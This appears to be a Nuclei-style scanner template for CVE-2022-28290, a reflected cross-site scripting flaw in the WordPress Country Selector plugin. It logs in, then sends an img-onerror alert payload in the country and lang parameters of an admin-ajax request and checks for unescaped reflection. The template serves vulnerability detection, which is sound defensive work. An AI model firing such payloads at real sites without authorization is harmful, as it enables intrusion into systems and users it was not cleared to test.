id: CVE-2022-28290

info:
  name: Country Selector < 1.6.6 - Cross-Site Scripting
  author: Akincibor
  severity: medium
  description: |
    The plugin does not sanitise and escape the country and lang parameters before outputting them back in the response, leading to a Reflected Cross-Site Scripting.
  reference:
    - https://wpscan.com/vulnerability/6c5a4bce-6266-4cfc-bc87-4fc3e36cb479
    - https://nvd.nist.gov/vuln/detail/CVE-2022-28290
    - https://cybersecurityworks.com/zerodays/cve-2022-28290-reflected-cross-site-scripting-in-welaunch.html
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2022-28290
    cwe-id: CWE-79
  tags: wordpress-country-selector,wpscan,cve,cve2022,wp,wordpress,wp-plugin,xss

requests:
  - raw:
      - |
        POST /wp-login.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        log={{username}}&pwd={{password}}&wp-submit=Log+In&testcookie=1

      - |
        POST /wp-admin/admin-ajax.php?action=check_country_selector HTTP/2
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        country=%3Cimg%20src%3Dx%20onerror%3Dalert%28document.domain%29%3E&lang=%3Cimg%20src%3Dx%20onerror%3Dalert%28document.domain%29%3E&site_locate=en-US

    skip-variables-check: true
    cookie-reuse: true
    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '<img src=x onerror=alert(document.domain)>'
          - 'country_selector_'
        condition: and

      - type: word
        part: header
        words:
          - text/html

      - type: status
        status:
          - 200